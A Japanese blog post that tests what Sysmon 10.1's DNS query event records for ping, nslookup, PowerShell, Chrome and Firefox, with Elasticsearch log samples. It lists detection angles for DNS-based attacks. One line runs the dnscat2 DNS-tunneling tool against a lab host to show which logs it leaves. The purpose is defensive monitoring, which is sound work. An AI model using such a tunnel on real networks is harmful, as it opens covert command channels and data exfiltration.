Sysmon 10.1の新機能：プロセスのDNSクエリーログをElasticsearchで採取してみる （動作確認編）

「Sysmon 10.1の新機能：プロセスのDNSクエリーログをElasticsearchで採取してみる」の[「設定編」](https://qiita.com/rhpenguin/items/126f148b927cf1e92af0)に続き「動作確認編」です。

[前回の記事](https://qiita.com/rhpenguin/items/126f148b927cf1e92af0)ではSysmon v10にて新たにサポートされたDNSクエリーログを採取するためのElasticsearch環境の設定を行いました。本記事ではいくつかのツールやアプリを実際に動かし、私たちが攻撃者から身を守るためにどのように利用できるのか、採取されるログ内容について見ていきたいと思います。

※Sysmon v10.1(06/14/2019)よって評価していますが、今後動作が変更される可能性もあるためご注意ください。

**※本記事には昨今の法的リスクを考慮し、攻撃手法の具体的または詳細に関する内容の情報およびそれらを説明する一般に公開されているドキュメントへのリンクも記述していません。ご了承ください。**

#評価環境
評価環境や利用するソフトウェアなどの詳細については[前回](https://qiita.com/rhpenguin/items/126f148b927cf1e92af0)の記事を参照ください。
![log_network_sysmon_winlogbeat.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/362125/2c6138e4-f4ea-0076-a418-28412cdc96d5.png)

#DNSログの分析
まずは攻撃から身を守る防御側として、DNSログ分析作業における一般的と考えられる分析観点について整理しておきましょう。

DNSクエリーは（マルウェアを含む）ツールやアプリケーション等のソフトウェアがホスト名によりネットワークアクセスする際にトリガーされるイベントです。そのためいわゆる[サイバーキルチェーン](https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html)のいくつものフェーズにおいて重要な手がかりとなります。JPCERT/CCによる[「高度サイバー攻撃への対処におけるログの活用と分析方法」](https://www.jpcert.or.jp/research/apt-loganalysis.html)ではDNSログにおいて「デリバリ」、「インストール」、「C&C」および「目的の実行」の各フェーズでの攻撃の痕跡が残される可能性があるとしています。また、最近、非常に注目されている[MITRE ATT&CK](https://attack.mitre.org/)でも説明されています。

* [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048/)
* [Data Hiding](https://attack.mitre.org/techniques/T1320/)
* [Custom Command and Control Protocol](https://attack.mitre.org/techniques/T1094/)

そして、以下のようなよく知られたDNSプロトコルに絡む攻撃手法の監視は防御側にとって一般的だと思います。

* 攻撃に関係するサイトのホスト名やドメイン名、また解決されたIPアドレス（例: マルウェアのホスティングサイトやC&C(C2)サーバ自体やプロキシ/踏み台/ボットなど）
* フィッシングやスミッシング
* ホモグラフ攻撃
* タイポスクワッティング
* ドメインフロンティング
* Domain Generation Algorithms (DGA)
* DNSトンネリング
* Torの悪用

DNSプロトコル上でやりとりされるペイロードやログに記録される各パラメータの分析観点としては例えば以下のようにブレークダウンできるでしょう。

1. ホスト名やドメイン名、またはIPアドレスのブラックリスト照合
2. 類似ホスト名（ホモグラフ攻撃やタイポスクワッティング）
3. DNSトラフィック（パケット）のシグネチャマッチ (例: IPS/IDS)
4. ペイロード内の不自然なエンコーディングやパターン
5. クエリーまたはクエリー結果に含まれるホスト名やドメイン名のランダム性（エントロピー）
6. PC等のエンドポイントとDNSサーバ間で通常は発生しないレコードタイプ (例: TXTレコード)
7. 想定されない不自然なDNSサーバへのクエリー(例: C2サーバや8.8.8.8への直接通信など)
8. 解決されたIPアドレスの地理的なロケーション
9. DNSクエリ直前や直後のアプリケーションプロトコルの不自然なパターン（トランザクション）
10. インターネットへのネットワーク通信が想定されないまたは新規の見慣れないアプリケーションやツール（エンドポイントログ）
11. ドメイン登録時期のフレッシュネス

（そのほかログに記録されるという観点では一般的ではないかもしれませんが、例えばDNSトンネリングなどの手法においてEDNS0絡みの分析観点も議論されることがあります）

さらに以下のような統計的なアノマリー検出方法が試されることもあります（時系列チャートによる可視化や合計値、平均値、正規分布(分散、標準偏差)による閾値判定など）。
1. 不自然な長さのホスト名やドメイン名
2. 不自然なDNSペイロード長
3. 想定されないIPアドレスまたはドメインへの不自然なクエリー数やトラフィック量または周期性
4. 解決できないホスト名クエリを含んだ不自然なクエリー数およびクエリーエラー数または周期性

また以下のようなネットワーク機器に設定されたポリシーに違反したトラフィック（例: 直接インターネット側のDNSサーバと通信しようとするツールやアプリ）を検出する方法も一般的でしょう。

(1) ファイアウォールが社内ネットワークからインターネットへの全DNSトラフィックを遮断（つまりエンドポイントからのインターネットへのトラフィックについて、アドレス解決はDMZのプロキシサーバのみが行う）
(2) ファイウォールが社内からの特定フルサービスリゾルバー向け以外のトラフィックを遮断

これらの場合にはファイアウォールによりドロップされたトラフィックが不審通信として分析対象となります。

このような観点に対してネットワーク機器やサーバのログだけではなく、Sysmonによるエンドポイントログも横断的に活用することでより攻撃検出や分析の機会や精度を高めることが期待できます。

それではこのSysmonの新機能であるDNSイベント（DNSクエリー）ログがこれら分析作業で利用できるようなパラメータや情報を取得できているか、実際にいくつかのツールやアプリケーションを使ってその実力を試してみましょう。

#ping.exe

```text
C:\>ping.exe www.youtube.com
youtube-ui.l.google.com [172.217.24.142]に ping を送信しています 32 バイトのデータ:
172.217.24.142 からの応答: バイト数 =32 時間 =19ms TTL=127
172.217.24.142 からの応答: バイト数 =32 時間 =15ms TTL=127
172.217.24.142 からの応答: バイト数 =32 時間 =21ms TTL=127
172.217.24.142 からの応答: バイト数 =32 時間 =11ms TTL=127

172.217.24.142 の ping 統計:
    パケット数: 送信 = 4、受信 = 4、損失 = 0 (0% の損失)、
ラウンド トリップの概算時間 (ミリ秒):
    最小 = 11ms、最大 = 21ms、平均 = 16ms
```

```json-doc:DNS_Event
...
     "event_data" : {
        "ProcessId" : "4876",
        "Image" : "C:\\Windows\\System32\\PING.EXE",
        "QueryStatus" : 0,
        "ProcessGuid" : "{22052e76-2b25-5d12-0000-001064a64200}",
        "QueryResults" : [
          "type:5 youtube-ui.l.google.com",
          "172.217.31.174",
          "172.217.161.46",
          "216.58.197.206",
          "216.58.197.238",
          "172.217.26.14",
          "216.58.197.142",
          "172.217.31.142",
          "172.217.25.206",
          "172.217.27.78",
          "172.217.26.46"
        ],
        "UtcTime" : "2019-06-25T14:09:41.467Z",
        "QueryName" : "www.youtube.com"
      },
...
      "task" : "Dns query (rule: DnsQuery)",
      "event_id" : 22,
...
```
CNAMEや解決された複数IPアドレスもばっちり採取できています。

```json-doc:Process_Creation
...
      "event_data" : {
        "Company" : "Microsoft Corporation",
        "ParentImage" : "C:\\Windows\\System32\\cmd.exe",
        "User" : "xxxxxxxxxx\\xxxxx",
        "LogonGuid" : "{22052e76-2017-5d12-0000-0020bad31800}",
        "Description" : "TCP/IP Ping Command",
        "OriginalFileName" : "ping.exe",
        "IntegrityLevel" : "Medium",
        "TerminalSessionId" : "1",
        "ParentProcessId" : "3620",
        "Product" : "Microsoft® Windows® Operating System",
        "Image" : "C:\\Windows\\System32\\PING.EXE",
        "ProcessGuid" : "{22052e76-2b25-5d12-0000-001064a64200}",
        "UtcTime" : "2019-06-25T14:09:41.401Z",
        "CurrentDirectory" : "C:\\Program Files\\Mozilla Firefox\\",
        "CommandLine" : "ping.exe  www.youtube.com",
        "Hashes" : [
          "MD5=56633150D77AE242D07727B0564430BB",
          "SHA256=741AD992403C78A8A7DBD97C74FDA06594A247E9E2FA05A40BB6945403A90056"
        ],
        "FileVersion" : "10.0.17763.1 (WinBuild.160101.0800)",
        "ProcessId" : "4876",
        "ParentCommandLine" : "\"C:\\WINDOWS\\system32\\cmd.exe\" ",
        "ParentProcessGuid" : "{22052e76-229c-5d12-0000-0010467c2800}",
        "LogonId" : "0x18d3ba"
      },
...
      "task" : "Process Create (rule: ProcessCreate)",
      "event_id" : 1,
...
```
DNSイベントが発生した詳細なプロセス情報（コマンドラインやファイルハッシュなど）を追跡することもできますね。

ちなみに例えばファイル名改変といった状況に対抗するためにOriginalFileNameフィールドが追加されました（PEヘッダから採取しているようです）。
#nslookup.exe (Aレコード)

```text
C:\>nslookup.exe www.youtube.com
サーバー:  dmz.example.com
Address:  192.168.1.10
権限のない回答:
名前:    youtube-ui.l.google.com
Addresses:  2404:6800:4004:819::200e
          172.217.161.78
          172.217.26.46
          172.217.31.174
          172.217.161.46
          216.58.197.238
          216.58.197.174
          172.217.24.142
          172.217.25.110
          172.217.26.14
          172.217.31.142
          172.217.25.206
          172.217.25.238
Aliases:  www.youtube.com
```

```text:DNS_Event
記録されず
```
nslookup.exeではDNSログ採取されませんでした・・・

```json-doc:Network_Connect
...
      "event_data" : {
        "User" : "xxxxxxxxxx\\xxxxx",
        "SourceHostname" : "xxxxxxxxxx.localdomain",
        "Image" : "C:\\Windows\\System32\\nslookup.exe",
        "SourcePort" : 53320,
        "DestinationPort" : 53,
        "ProcessGuid" : "{22052e76-3664-5d12-0000-00106a0a6300}",
        "DestinationHostname" : "dmz.example.com",
        "UtcTime" : "2019-06-25T14:57:40.674Z",
        "DestinationPortName" : "domain",
        "Initiated" : "true",
        "DestinationIp" : "192.168.1.10",
        "SourceIsIpv6" : "false",
        "SourceIp" : "192.168.0.134",
        "DestinationIsIpv6" : "false",
        "ProcessId" : "7864",
        "Protocol" : "udp"
      },
...
      "event_id" : 3,
      "task" : "Network connection detected (rule: NetworkConnect)",
...
```
でもネットワーク通信ログには記録されています！
#powershell.exe (Aレコード)

```text
PS C:\> Resolve-DnsName -Name hoge.example.com
Name                        Type   TTL   Section    IPAddress
----                        ----   ---   -------    ---------
hoge.example.com            A      0     Answer     192.168.1.55
```

```json-doc:DNS_Event
...
      "event_data" : {
        "ProcessId" : "6484",
        "Image" : "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
        "QueryStatus" : 0,
        "QueryResults" : [
          "192.168.1.55"
        ],
        "ProcessGuid" : "{22052e76-6f9d-5d13-0000-0010d31f0c00}",
        "QueryName" : "hoge.example.com",
        "UtcTime" : "2019-06-26T13:15:36.534Z"
      },
...
      "task" : "Dns query (rule: DnsQuery)",
      "event_id" : 22,
...
```

```json-doc:Process_Creation
...
      "event_data" : {
        "Company" : "Microsoft Corporation",
        "ParentImage" : "C:\\Windows\\System32\\RuntimeBroker.exe",
        "Description" : "Windows PowerShell",
        "User" : "xxxxxxxxxxxxxx\\xxxxx",
        "LogonGuid" : "{22052e76-6f3b-5d13-0000-0020a1630400}",
        "OriginalFileName" : "PowerShell.EXE",
        "IntegrityLevel" : "High",
        "TerminalSessionId" : "1",
        "ParentProcessId" : "6848",
        "Product" : "Microsoft® Windows® Operating System",
        "Image" : "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
        "ProcessGuid" : "{22052e76-6f9d-5d13-0000-0010d31f0c00}",
        "UtcTime" : "2019-06-26T13:14:05.757Z",
        "CurrentDirectory" : "C:\\WINDOWS\\system32\\",
        "CommandLine" : "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" ",
        "Hashes" : [
          "MD5=7353F60B1739074EB17C5F4DDDEFE239",
          "SHA256=DE96A6E69944335375DC1AC238336066889D9FFC7D73628EF4FE1B1B160AB32C"
        ],
        "FileVersion" : "10.0.17763.1 (WinBuild.160101.0800)",
        "ProcessId" : "6484",
        "ParentCommandLine" : "C:\\Windows\\System32\\RuntimeBroker.exe -Embedding",
        "ParentProcessGuid" : "{22052e76-6f6c-5d13-0000-0010d6250800}",
        "LogonId" : "0x463a1"
      },
...
      "task" : "Process Create (rule: ProcessCreate)",
      "event_id" : 1,
...
```
#powershell.exe (TXTレコード)

```text
PS C:\> Resolve-DnsName -type txt hoge.example.com
Name                     Type   TTL   Section    Strings
----                     ----   ---   -------    -------
hoge.example.com         TXT    0     Answer     {zvhiqTPh9qkxastC5ldsbPh0lafbdS1qgAzsidbR
　　　　　　　　　　　　　　　　　　　　　　　　　　　2WBzbd022AaOz7irpziqVI2SJwmLsIsTXi3YMYja}
```

```json-doc:DNS_Event
...
      "event_data" : {
        "ProcessId" : "3940",
        "Image" : "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
        "QueryStatus" : 0,
        "QueryResults" : [
          "type:16 "
        ],
        "ProcessGuid" : "{22052e76-2725-5d12-0000-0010ee583200}",
        "UtcTime" : "2019-06-25T16:21:44.138Z",
        "QueryName" : "hoge.example.com"
      },
...
      "task" : "Dns query (rule: DnsQuery)",
      "event_id" : 22,
...
```
TXTレコードはタイプのみが記録されました。内容は記録されないようです・・・残念。
#powershell.exe (CNAMEレコード)

```text
PS C:\> Resolve-DnsName -type cname www.youtube.com
Name                      Type   TTL   Section    NameHost
----                      ----   ---   -------    --------
www.youtube.com           CNAME  5     Answer     youtube-ui.l.google.com
```

```json-doc:DNS_Event
...
      "event_data" : {
        "ProcessId" : "6484",
        "Image" : "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
        "QueryStatus" : 0,
        "QueryResults" : [
          "type:5 youtube-ui.l.google.com"
        ],
        "ProcessGuid" : "{22052e76-6f9d-5d13-0000-0010d31f0c00}",
        "UtcTime" : "2019-06-26T13:15:14.799Z",
        "QueryName" : "www.youtube.com"
      },
...
      "task" : "Dns query (rule: DnsQuery)",
      "event_id" : 22,
...
```
#powershell.exe (Aレコード/NXDOMAINエラー応答)
存在しないホスト名の解決を試してみましょう。

```text
PS C:\> Resolve-DnsName -Name foo.example.com
Resolve-DnsName : foo.example.com : DNS 名がありません。
発生場所 行:1 文字:1
+ Resolve-DnsName -Name foo.example.com
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo          : ResourceUnavailable: (foo.example.com:String) [Resolve-DnsName], Win32Exception
+ FullyQualifiedErrorId : DNS_ERROR_RCODE_NAME_ERROR,Microsoft.DnsClient.Commands.ResolveDnsName
```

```json-doc:DNS_Event
...
      "event_data" : {
        "ProcessId" : "6484",
        "Image" : "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
        "QueryStatus" : 9003,
        "ProcessGuid" : "{22052e76-6f9d-5d13-0000-0010d31f0c00}",
        "UtcTime" : "2019-06-26T13:40:33.263Z",
        "QueryName" : "foo.example.com"
      },
...
      "task" : "Dns query (rule: DnsQuery)",
      "event_id" : 22,
...
```
クエリステータスとして"9003"(DNS_ERROR_RCODE_NAME_ERROR: DNS name does not exist.)が記録されています。
#dnscat2.exe

```text
C:\Users\xxxxxx\Desktop\dnscat2> .\dnscat2.exe --dns domain=example.com,server=hoge.example.com --no-encryption
```

```text:DNS_Event
記録されず
```

```json-doc:Network_Connect
...
      "event_data" : {
        "User" : "xxxxxxxxxxxxxxxx\\xxxxx",
        "SourcePort" : 49224,
        "SourceHostname" : "xxxxxxxxxxxxxxxxx.localdomain",
        "Image" : "C:\\Users\\xxxxxx\\Desktop\\dnscat2\\dnscat2.exe",
        "DestinationPort" : 53,
        "DestinationHostname" : "hoge.example.com",
        "ProcessGuid" : "{22052e76-bd85-5d14-0000-00104c522d00}",
        "DestinationPortName" : "domain",
        "UtcTime" : "2019-06-27T12:58:51.258Z",
        "DestinationIp" : "192.168.1.55",
        "Initiated" : "true",
        "SourceIsIpv6" : "false",
        "SourceIp" : "192.168.0.134",
        "DestinationIsIpv6" : "false",
        "ProcessId" : "3688",
        "Protocol" : "udp"
      },
...
      "event_id" : 3,
      "task" : "Network connection detected (rule: NetworkConnect)",
...
```
ネットワーク通信ログには記録されています！
#Google Chrome(chrome.exe): 国際化ドメイン (IDN)

```text
C:\Program Files (x86)\Google\Chrome\Application>chrome.exe http://日本語.jp/
```

```json-doc:DNS_Event
...
      "event_data" : {
        "ProcessId" : "1076",
        "Image" : "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
        "QueryStatus" : 0,
        "ProcessGuid" : "{22052e76-c49a-5d14-0000-00103e393e00}",
        "QueryResults" : [
          "117.104.133.183"
        ],
        "UtcTime" : "2019-06-27T13:29:04.822Z",
        "QueryName" : "xn--wgv71a119e.jp"
      },
...
      "event_id" : 22,
      "task" : "Dns query (rule: DnsQuery)",
...
```
IDNはPunycodeでエンコードされた形式で記録されています！

#Firefox(firefox.exe): DNS over HTTPS (DoH)
<img width="637" alt="sysmon_dns_query_firefox_doh.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/362125/c5f7276a-1010-70d6-1528-9ed932f9634b.png">

Firefoxブラウザからwww.google.comへアクセスしてみます。

```text:DNS_Event(www.google.comの名前解決)
記録されず
```
やはり・・・記録されませんでした・・・

```json-doc:DNS_Event(DoHサーバ=mozilla.cloudflare-dns.comの名前解決)
...
      "event_data" : {
        "ProcessId" : "6528",
        "Image" : "C:\\Program Files\\Mozilla Firefox\\firefox.exe",
        "QueryStatus" : 0,
        "QueryResults" : [
          "104.16.248.249",
          "104.16.249.249"
        ],
        "ProcessGuid" : "{22052e76-c60d-5d14-0000-001037fe4000}",
        "QueryName" : "mozilla.cloudflare-dns.com",
        "UtcTime" : "2019-06-27T13:35:17.753Z"
      },
...
      "event_id" : 22,
      "task" : "Dns query (rule: DnsQuery)",
...
```
ちなみにDoHサーバであるmozilla.cloudflare-dns.comへは通常のDNS問い合わせが実行されているようですね。

```json-doc:Network_Connect(www.google.com名前解決のDoH通信ログ)
...
      "event_data" : {
        "User" : "xxxxxxxxxxxxx\\xxxxx",
        "SourceHostname" : "xxxxxxxxxxxxxxx.localdomain",
        "Image" : "C:\\Program Files\\Mozilla Firefox\\firefox.exe",
        "SourcePort" : 49901,
        "DestinationPort" : 443,
        "ProcessGuid" : "{22052e76-c60d-5d14-0000-001037fe4000}",
        "UtcTime" : "2019-06-27T13:35:19.615Z",
        "DestinationPortName" : "https",
        "Initiated" : "true",
        "DestinationIp" : "104.16.248.249",
        "SourceIp" : "192.168.0.134",
        "SourceIsIpv6" : "false",
        "DestinationIsIpv6" : "false",
        "ProcessId" : "6528",
        "Protocol" : "tcp"
      },
...
      "event_id" : 3,
      "task" : "Network connection detected (rule: NetworkConnect)",
...
```
ネットワーク通信ログには記録されています。

#まとめ

実際にいくつかのツールやアプリを動作させログ採取することで、このDNSログというSysmonの新機能が悪意あるサイトへのアクセスを分析するために非常に強力であると確かめることができました（もちろんTXTレコードの内容が出力されないなど改善点はまだありそうですが、通常では使われないレコードタイプの監視には利用できそうです）。

一方でSysmonのこの新機能でもDNSログを採取できない場合もありました。Sysinternals/Sysmonの開発者であるMicrosoft社のMark Russinovichさんのフォロワーやハッシュタグ#sysmonでTwitterを追いかけるとわかりますが、このDNS Event(DNS Query)のログ機能はDnsQuery_A等のアドレス解決API呼び出しをトリガーに記録されるEvent Tracing for Windows (ETW) から情報を採取していると明かされています。そのため本記事で検証したツール/アプリでDNSログが採取できなかったものは、それらのアドレス解決APIを呼び出すのではなく、DNSプロトコルを自身で実装しているなど異なる実装方式のものだと推測できます。

確かにDNS情報を採取できない場合があるのは事実ですが、しかしながら攻撃手法がいわゆる「ファイルレス」やPowerShell.exeなどWindows標準コマンドを利用したものへ進化している現状ではDnsQuery_A等のAPIを呼び出すツールやアプリが悪用されることも多いと想定され依然として有効と考えられます。またファイルドロップなしでシェルコードをWindowsの通常のプロセスに寄生させるような攻撃手法でも、攻撃者がそのコードのフットプリントを小さくせざるを得ない場合にはDNSプロトコルスタックを抱え込むことが難しい可能性がありますのでそれらAPI呼び出しに頼る状況もあるでしょう。

ただしDNSログは非常に大量に採取される可能性があるため、ホワイトリスト（ログの採取対象外ホスト名やドメイン名）をSysmonの設定ファイルへ設定して運用することが現実的だと思われます。

以上、簡単にですがSysmonの強力な新機能であるDNSログを試してみました！

#おまけ

ホスト名やドメイン名のホワイトリスト設定されているSysmon設定ファイル例。まだAlpha版だそうです。
* [Sysmon configuration file template with default high-quality event tracing](https://github.com/SwiftOnSecurity/sysmon-config/blob/master/z-AlphaVersion.xml) (By SwiftOnSecurity)

Sysmonイベントログのチートシート
* [All sysmon event types and their fields explained](https://github.com/olafhartong/sysmon-cheatsheet) (By Olaf Hartong)

Sysmon v10.0の新機能解説
* [Sysmon 10.0 - New features and changes](https://medium.com/@olafhartong/sysmon-10-0-new-features-and-changes-e82106f2e00) (By Olaf Hartong)